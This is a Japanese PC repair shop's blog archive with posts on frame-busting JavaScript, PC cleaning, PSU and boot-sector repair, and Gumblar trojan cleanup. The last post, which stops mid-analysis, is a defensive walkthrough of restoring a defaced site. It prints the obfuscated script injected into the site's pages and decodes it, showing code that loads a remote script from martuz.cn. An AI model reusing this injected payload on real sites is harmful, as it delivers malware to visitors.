2010年05月15日  カテゴリー:ホームページ

フレーム内のhtmlファイルが表示されるとき、親フレームを強制的に表示させる

フレームを使ったホームページ構成は、検索エンジンとの相性が良くないため、ホームページ制作する場合は、極力使わないようにしています。他サイトからのリンクもトップページに張ってもらわなければならず、有用な情報への直リンクがしにくくなります。

Googleなどで、”フレーム SEO”などのキーワードで検索すると、上位に理由が書かれた解説ページがヒットしますので、興味のある方は、しらみつぶしに読んでみてください。

どうしてもフレームを使わないとならない場合の対策方法も上記のページに書かれています。フレーム内の素のhtmlファイルが表示されそうになったら、強制的に親フレームを表示させるようにjavascriptでプログラミングします。

 

通常のフレームページ例です。フレームを左右に分割してあります。

通常のフレームページ例

右サイドのコンテンツ1を新規で開くをクリックすると、main1.htmlが表示されます。

通常のフレームページ例

通常のフレームページ例

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
				<title>フレーム本体</title>
	</head>
	<frameset rows="*" cols="20%,*">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

 

つぎに強制的にフレームページを表示させるようにしたしたものです。

強制的にフレームページを表示させるようにした例

右サイドの”コンテンツ1を新規で開く”をクリックすると、先ほどとは違いフレームページが開かれます。

強制的にフレームページを表示させるようにした例

強制的にフレームページを表示させるようにした例

左サイドでコンテンツ2を表示状態で”コンテンツ2を新規で開く”をクリックした場合も、フレームページが表示され、右サイドには、コンテンツ2が表示されます。

ただし、Internet ExplorerのVersion 6、7、8などは、コンテンツ2が表示されず、コンテンツ1が表示されます。

これは、location.hrefでページ移動した場合、document.referrerプロパティの値が空のため、元ページが分からないためです。IEの仕様ですのでどうすることもできません。FireFoxやSafariは、正しく機能します。

ポイントは、各コンテンツのページに親フレームが存在しないときは、locationで親フレームに移動します。親フレームのページ(index.html)には、コンテンツから移動してきた場合、コンテンツをmainFrameに表示させるようにscriptで変更させます。

コンテンツ3(main3.html)は、bodyタグのonLoadイベントに記述した例で、条件判定の方法は異なりますが、やはり、親フレームが存在しないときは、親フレームへ移動するようになっています。

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>フレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame2/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						if(file != 'left.html'){
							parent.mainFrame.location.href = file;
						}
					}
				}
			}
			// -->
		</script>
	</head>
	<frameset rows="*" cols="20%,*" onLoad="ChanePage()">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
	</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(右サイドのコンテンツ3のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

インラインフレームの場合

インラインフレームも同様の方法で、iframe内のソース部分のみが表示されてしまうのを防ぐことができます。

インラインフレームの場合

インラインフレームの場合

 

各フレームページのソース

index.html(メインページになります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>インラインフレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame3/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						parent.mainFrame.location.href = file;
					}
				}
			}
			// -->
		</script>
	</head>
	<body onLoad="ChanePage()">
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
		<iframe src="main1.html" name="mainFrame" width="100%"></iframe>
	</body>
</html>

main1.html(コンテンツ1)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(コンテンツ2)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(コンテンツ3)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

IT工房にんにく庵関連ページ

 

ホームページ制作

2010年03月21日  カテゴリー:故障・修理・トラブル・障害

パソコンの掃除方法

ディスクトップパソコンの掃除方法を良く聞かれますので、説明したいと思います。

日常の手入れは、空気の吸い込み口を掃除機で吸ってあげる程度でいいと思います。キーボードは、ブラシ付きの掃除機でキーの隙間のゴミを吸ってあげて、キートップをウェットティッシュなどで拭きます。光学式マウスは、全体をウェットティッシュなどで拭いた後、受発光部をエアダスターで清掃します。ボール式マウスは、ボール部分を分解して、内部のローラに付いたゴミを爪楊枝や綿棒で清掃し、ボールをホコリのでないウェットティッシュで黒くならないまで拭くか、中性洗剤で洗ってよく乾かします。マウスパッドも汚れを拭き取っておきます。

たまにパソコン本体の中身を掃除したほうがいいでしょう。周期のほうは環境によるので何ともいえませんが、年1回~2年に1回くらいのペースでしょうか。

まずコネクター類を全て外します。USBやPS/2は、同じ形状のコネクタが2つ以上ある場合がありますので、札(タグ)などを付けて、差す位置が分かるようにしておきます。本体を取り出したら、側面のパネルをスライドさせて開けます。機種によって簡単なものから複雑なものまでありますので、どうしても開けられず断念してしまうかたもいらっしゃいます。ネットなどで”(機種型番) 分解”などのキーワードで検索すると、画像付きの説明ページがあったりしますので、参考にしてみて下さい。

側面パネルを開けた後は、屋外に持っていきます。掃除機、エアダスター、リストストラップ、アース線を用意します。

まともな工事なら、向かって左側の端子がアースです。

パソコン本体をアース線で接地し、リストストラップをつけて掃除機で吸いながら、エアダスターで、ホコリを飛ばします。CPUのヒートシンクは入念にホコリを除去します。

掃除機は、静電気の塊のような機械ですので、基盤に接触させないよう注意して下さい。写真のように先端部分をアルミ箔で包んでリストストラップで接地した手で握ってあげれば、かなり影響が少ないですが、接地しないで使うと、最悪LSIを壊してしまいます。普通に使えたとしても、LSIの素子にダメージを与えることになりますので、寿命が短くなってしまいます。

クリーニング準備完了 クリーニング中

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年02月02日  カテゴリー:故障・修理・トラブル・障害

NEC VALUSTAR VL700/6電源入らない

NEC VALUESTAR VL700/6D(2003年5月販売)デスクトップパソコンが、2009年冬頃からたまに電源が入らないことがあり、今年1月ついに電源ボタンを押してもうんともすんともいわなくなってしまいました。既に新しいパソコンに移行済みで、実害はなかったのですが、お子さんにあげたいので修理してほしいとのこと。

AcBel製、API2PC05電源ユニット
AcBel製、API2PC05電源ユニット

パンクしたコンデンサ

中央と左上の2個がパンクしています

保守用の電源と交換したところ、問題なく起動しましたので、電源ユニットの故障です。AcBel製、型番API2PC05、電源容量150w、NEC型番PU786B、NEC P/N 853-610090-001-Aとなっています。オークションで中古を調べると、P/N 853-610090-003-Aなどが売られていますので、改良前のrevisionと思われます。

電源単体でオンしてみると、5v、12v、3.3v、-12vとも正常に出力しています。ただし、5vスタンバイの電圧が少々低く、4.8v程しかありませんでした。

中を分解して目視チェックすると、2個ほどコンデンサ(1000μF 6.3v)が膨れていました。

交換して、電源を入れてみましたが、5vスタンバイは、4.8vのままでした。マザーボードに接続して、電源オンするも、駄目です。

再度電源ユニットを分解して、+5vスタンバイの配線を追っていき、1000μF 6.3vのコンデンサにたどり着きましたので、外してみると、根本から電解液が漏れだしていました。

コンデンサを交換したところ、電源も入り、8時間エージング運転も問題ありませんでした。

目視だけでは、コンデンサの不良を探せられなかった事例です。

内容 費用 備考
部品代 1,000円 購入送料込み
工賃 8,000円  
合計 9,000円  

 

取り外したコンデンサ
取り外したコンデンサ
基盤面
基盤面
コンデンサ交換後
交換後
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
 

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年01月26日  カテゴリー:故障・修理・トラブル・障害

Invalid partition tableにてWindows立ち上がらない

Invalid partition table電源オン、メーカロゴを表示後、「Invalid partition table」を表示して、Windows XPが起動しないとのこと。

MBR(Master Boot Record)のブートストラップローダというIPLブログラムが、「パーティション情報がおかしいよ」と言っているので、ハードディスクが物理的か論理的に破損していると思われます。

今回のケースは、論理的な破損で、無事Windowsが起動するようになった奇跡の生還事例です。

まず、MBRをセクタエディタを使い見てみます。(わたしは、Acronis Disk Director Suite付属のDisk Editorを使っています)

MBR

LBA=0(C=0/H=0/S=1)がMBRです。黒で反転表示した部分がブートストラップローダ部分です。WindowsXPのものです。

赤で囲まれた部分は、第1パーティションのテーブル情報です。先頭バイトが00ですので起動パーティションではありません。5バイト目が06ですので、FATパーティションということがわかります。後述しますが、第1パーティションは、DellのDiagnosticsです。

第2パーティションテーブル情報は、水色の80から始まる部分です。80ですので、ブートパーティションです。5バイト目の赤色が07なので、NTFSパーティションです。開始位置は、ピンク色をリトルエンディアンで読んで0000FB04です。10進数でLBA=64260セクター目となります。

最後のブートシグニチャ55AAもOKです。ということでMBR部分に問題はありませんので、Invalid partition tableになる原因が分かりません。

念のためブートパーティション(第2パーティション)のブートセクタも見てみます。先ほどの64260番目のセクターとなります。(C=4/H=0/S=1)

不良のNTFSパーティションのブートセクター

反転部分をよくみると先ほどのMBRのブートストラップローダと全く同じです。どうやら自力で修復しようとして誤って上書きしてしまったようです。

バックアップブートセクタを見てみました。パーティション2の最終セクタに保存されていますので、MBRのパーティションテーブルから計算します。ピンク(開始セクタ)+黄色(総セクタ)-1=0000FB04+0DF741B9-1=64260+234308025-1=234372284セクター(C=14588/H=254/S=63)となります。

バックアップブートセクタ

幸いにもバックアップブートセクタが生きていましたので、セクタコピーし、パーティション2のブートセクターに上書きしたところ、無事Windowsが起動しました。と言いたいところですが、Security toolに感染していて、立ち上がりませんでした。駆除後正常起動しました。

下の画像は、パーティション情報を別の視点で見たものです。testdiskという壊れたパーティションテーブルを解析して復活することができるツールです。第1パーティションがDellUtilityというボリューム名であることが分かります。

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年12月23日  カテゴリー:故障・修理・トラブル・障害

ノートパソコンのハードディスクは、定格容量に注意

STOP: c000021a Unknown Hard Error

ソニーVAIO PCG-FX55S/BPが、Windows XPのロゴ表示後再起動くり返すとのこと。たまにOperating System not foundになることもあるそうです。OS not foundのときは、BIOS上ハードディスクを認識していませんでした。

Windows拡張オプションメニュー「システム障害時の自動的な再起動を無効にする」 にて起動すると、STOP: c000021a Unknown Hard Errorを表示しました。

ほぼハードディスクの不良と見て間違いありません。ところが、このハードディスクは、数ヶ月前竜王にある中古PCショップにて5万円も出して交換してもらったそうです。となると、ハードディスクが故障の可能性は低いです。念のため、MEMTEST86+にてメモリーのチャックをしましたが、エラー無し。ハードディスクの表面検査もBIOSが認識してれば、noエラーでした。

コネクタのゆるみか何かが原因かと、外してみたところ、多分これかなぁというのが分かりました。コネクタは、きちんと刺さってましたし、ピンが曲がったりということもありませんでした。

交換したハードディスクが、この機種には厳しいスペックだったのです。2005年以前のノートパソコンは大抵、2.5インチのパラレルATAタイプのハードディスクを使用しています。定格容量5v、0.5A~0.7Aくらいですが、交換したものは、5v 1AのHITACHI製HTS541210H9AT00 100GB 2007年5月製造のものでした(もしかして中古品?)。

多分電流容量不足で、Unknown Hard ErrorになったりBIOSでハードディスクが認識されずOperating System not foundになったりしたのでしょう。定格が1Aといっても常時これだけ流れるわけではありませんが、PCG-FX55S/BPのピーク電流やアベレージ電流がぎりぎりの設計だったのでしょう。

HDDをBIOSが認識しない   定格電流容量0.5アンペアなら安心
HDDをBIOSが認識しない。   定格電流容量0.5アンペアなら安心

 

内容 費用
2.5"ハードディスク80GB Seagete製 7,000円
パソコンリカバリー一式 15,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

パソコン再インストール作業料金

2009年12月10日  カテゴリー:セキュリティ, 故障・修理・トラブル・障害

黒い画面の中央にマウスでWindowsが起動しません

GENOウィルスに感染したサイトの回復のクライアント側の対応事例です。GENOウィルス(正確には、トロイの木馬)は、gumblarの俗名ですが、ほかにDaonolなども同種です。これらに感染すると、Windows起動ロゴが表示された後、黒い画面にマウスポイントだけの状態で、先に進まなくなるケースが多いようです。青い背景まで行く場合もあったりします。

対応方法は、確立されていて、レジストリ・キー\\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32配下のエントリーmidi9をエントリーごと削除すれば、Windowsが起動するようになります。駆除は、Windows起動後、midi9の値にある該当ファイルを削除することになります。

先日対応したお客さんの場合、midi9エントリー以外にaux2エントリーにも、トロイの木馬が記述されており、両方削除しないと、Windowsが起動しませんでした。片方だけの削除ですと、トロイの木馬が復活してしまいました。

作業前にバックアップしたキーは、以下のような情報です。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\hoge\Microsoft\Windows NT\CurrentVersion\Drivers32]

"midimapper"="midimap.dll"
"msacm.imaadpcm"="imaadp32.acm"
"msacm.msadpcm"="msadp32.acm"
"msacm.msg711"="msg711.acm"
"msacm.msgsm610"="msgsm32.acm"
"msacm.trspch"="tssoft32.acm"
"vidc.cvid"="iccvid.dll"
"vidc.I420"="msh263.drv"
"vidc.iv31"="ir32_32.dll"
"vidc.iv32"="ir32_32.dll"
"vidc.iv41"="ir41_32.ax"
"vidc.iyuv"="iyuv_32.dll"
"vidc.mrle"="msrle32.dll"
"vidc.msvc"="msvidc32.dll"
"vidc.uyvy"="msyuv.dll"
"vidc.yuy2"="msyuv.dll"
"vidc.yvu9"="tsbyuv.dll"
"vidc.yvyu"="msyuv.dll"
"wavemapper"="msacm32.drv"
"msacm.msg723"="msg723.acm"
"vidc.M263"="msh263.drv"
"vidc.M261"="msh261.drv"
"msacm.msaudio1"="msaud32.acm"
"msacm.sl_anet"="sl_anet.acm"
"msacm.iac2"="C:\\WINDOWS\\system32\\iac25_32.ax"
"vidc.iv50"="ir50_32.dll"
"msacm.l3acm"="C:\\WINDOWS\\system32\\l3codeca.acm"
"wave"="wdmaud.drv"
"midi"="wdmaud.drv"
"mixer"="wdmaud.drv"
"aux"="wdmaud.drv"
"aux2"="C:\\WINDOWS\\system32\\..\\dnd.jap"
"midi9"="C:\\WINDOWS\\system32\\..\\fnajg.tmp 0yAAAAAAAA"

レジストリキーのエクスポートをすると、追加分は、おけつに表示されるようですので、ウイルスを見つけやすいです。

aux2とmidi9エントリーが怪しいのは、慣れているかたならすぐ見分けがつくと思います。それぞれのエントリを削除後、Windowsを起動し、以下のファイルを削除しました。

C:\WINDOWS\dnd.jap

C:\WINDOWS\fnajg.tmp

Adobe Readerのバージョンが7でしたので、最新の9.2へアップデート。Flashは、10でしたが、マイナーバージョンが多少低かったので、こちらも最新にして完了です。

検体をAVGにて確認してみたところ。

dnd.jap:トロイの木馬Agent.4.AK

fnajg.tmp:トロイの木馬Small.BQM

と検出しました。どんどん亜種が出ているようですので、対応する側も最新状況をWebでウォッチしないとなりません。

 

内容 費用
トラブル対応1時間 2,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年11月19日  カテゴリー:セキュリティ, ホームページ, 故障・修理・トラブル・障害

GENOウィルスに感染したサイトの回復

FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。

Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。

(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。

先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。

手順としては、

1.感染したクライアントPCをネットワークから遮断する。

2.ホームページを運用しているFTPパスワードを、変更する。

3.できれば、一時的にホームページを閉鎖する。

4.感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。

5.サイトを再開する。

6.GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。

7.ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。

8.OS、アプリケーションは、常に最新の状態にしておく。

9.ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。

といった流れとなります。

今年5月のケースでは、手順7をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。

この場合、手順4は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。

改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。

改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。

改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。

htmlのソースコードは、<body>タグの直前に、以下のような文字列が並んでいました。

<script language=javascript><!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
--></script>

Java Scriptのファイルも<script>タグのないものが行末に追加されていました。

<!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
-->

この部分をざっくり削除してしまえば、いいわけです。

置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。

秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。

 


 

埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。

(function(ezEqY){
var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';
eval(unescape(cTxf.replace(ezEqY,'%')))
})
(/\~/g);

変数 cTxf 内の ~ を % に置換します。

var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d

unescapeします。デコードスクリプト

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

改行を入れると。

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
